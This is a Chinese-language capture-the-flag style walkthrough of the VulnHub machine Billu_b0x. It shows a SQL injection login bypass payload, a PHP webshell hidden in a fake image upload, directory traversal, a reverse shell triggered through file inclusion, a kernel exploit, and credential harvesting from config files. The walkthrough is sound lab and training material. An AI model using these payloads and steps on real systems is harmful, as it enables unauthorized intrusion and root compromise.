靶机:
https://download.vulnhub.com/billu/Billu_b0x.zip
难度:
- 中(两种攻击路线)
目标:
- 取得
root
权限
涉及的攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- SQL注入(Sqlmap跑不出来)
- 文件包含漏洞
- 文件上传漏洞
- 源码审计
- 内核漏洞提权
注意:
选择包含所有网卡的MAC地址
,就能正常获取IP地址了
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.174.135
nmap -p22,80 -sV -sC 192.168.174.135
SQL注入
打开浏览器,根据提示Show me your SQLI skills
,那么该页面应该是存在SQL注入
这种漏洞类型的
随便输入提交之后抓包,发到BurpSuite
的Intruder
模块
Attack Type
选择Cluster bomb
集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
这个kali里下载的SQL测试的字典
密码那里使用burp
自带的列表
发现到这些个payload
的时候就成功登录了,提示You are allowed
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c
成功登录
文件上传漏洞
发现有上传功能,尝试上传一个有一句话木马的shell.php
,但是提示only png,jpg and gif file are allowed
只能上传图片
Burp
抓包,修改文件名后缀,Content-Type
,还有添加GIF89a;
文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>
的图片文件
在Show Users
里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
访问发现没啥用处
访问http://192.168.174.135/uploaded_images/
也是
在URL后输入?cmd=id
测试一下服务器是否解析了图片里面的代码,也是失败
dirsearch -u http://192.168.174.135/
扫描目录发现一个add.php
看起来和前面的Add Users
那里是一样的,那么服务器可能是通过加载a.php
的方式在主页面实现这个功能的
文件包含漏洞
点击Add Users
,然后点击Continue
,然后BurpSuite
抓包看看
发现是通过load
参数来调用系统文件的
测试load=/etc/passwd
发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd
就能成功读取到文件,说明确实是存在文件包含的
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
反弹shell
那么我们上传一个反弹shell
的php
的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png
,但是内容是反弹shell
的php
的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph
这个php
代码的反弹shell
脚本
上传时还是需要添加上GIF89a;
文件头,然后IP
和监听端口设置成kali
的
然后让Kali
开启nc
的监听
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
提权
uname -a
发现是3.13
的内核版本,是有内核漏洞的利用代码的
searchsploit 3.13.0
搜索,发现一个C语言
的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
先把代码复制到当前目录,然后开启http
服务
然后让靶机下载这个exp.c
,用gcc
把它编译成一个二进制文件,给它执行权限,然后执行就获得root
权限了
这是一种思路。
思路二
前面信息收集的时候发现了一个test
路径
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter
,但是我们输入参数并赋值之后却没有内容显示
那既然Get
方式不成功,还有POST
方式
用POST
方式就成功读取到了/etc/passwd
文件
任意文件下载漏洞
file=add.php
直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
那我们查看一下首页index.php
,前面SQL注入
漏洞的原因可能在代码中会有
<?php
// 开始会话,确保可以使用 $_SESSION 超全局变量
session_start();
// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');
// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {
$_SESSION['logged'] = '';
}
// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {
// 显示已登录的消息
echo "you are logged in :)";
// 重定向到 'panel.php'
header('Location: panel.php', true, 302);
} else {
// 如果用户没有登录,显示登录表单
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
// 检查是否点击了登录按钮
if(isset($_POST['login'])) {
// 将'\'替换为''
$uname = str_replace('\'', '', urldecode($_POST['un']));
$pass = str_replace('\'', '', urldecode($_POST['ps']));
// 创建 SQL 查询来检查用户名和密码是否匹配
$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
// 执行 SQL 查询
$result = mysqli_query($conn, $run);
// 如果查询结果有行,则用户凭据正确
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
// 设置会话变量以表示用户已登录
$_SESSION['logged'] = true;
$_SESSION['admin'] = $row['username'];
// 重定向到 'panel.php'
header('Location: panel.php', true, 302);
} else {
// 如果凭据不匹配,显示警告信息
echo "<script>alert('Try again');</script>";
}
}
// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
,服务端没有进行严格的筛选和限制
\
右斜线是转义符,相当于代码里的内容就是一个'
单引号- 我们注入的账号密码
or 0=0 #"和 /
实现了万能密码的效果 - 最终的SQL语句是这样的
$run = 'select * from auth where pass='' and uname=' or 0=0 #
,0=0永远为真
搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
在c.php
里面发现了数据库的账号密码billu``b0x_billu
前面扫描目录的时候还发现了/phpmy/
这个路径,可能是phpmyadmin
这个Web界面的管理程序
发现确实是phpmyadmin
,使用刚刚的账号密码billu``b0x_billu
成功登录进去了
在auth
表里面发现正常的账号密码biLLu
hEx_it
,可以直接登录首页
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
在配置文件中发现了新的账号密码root``roottoor
前面信息收集,端口扫描的时候是发现它开启了22
端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root
用户!
总结:
- 打完写个Note,天天打不总结都是空。
- 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。